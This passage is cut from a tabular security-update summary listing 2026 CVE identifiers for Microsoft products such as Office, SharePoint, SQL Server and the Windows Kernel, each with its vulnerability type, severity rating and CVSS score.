No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege 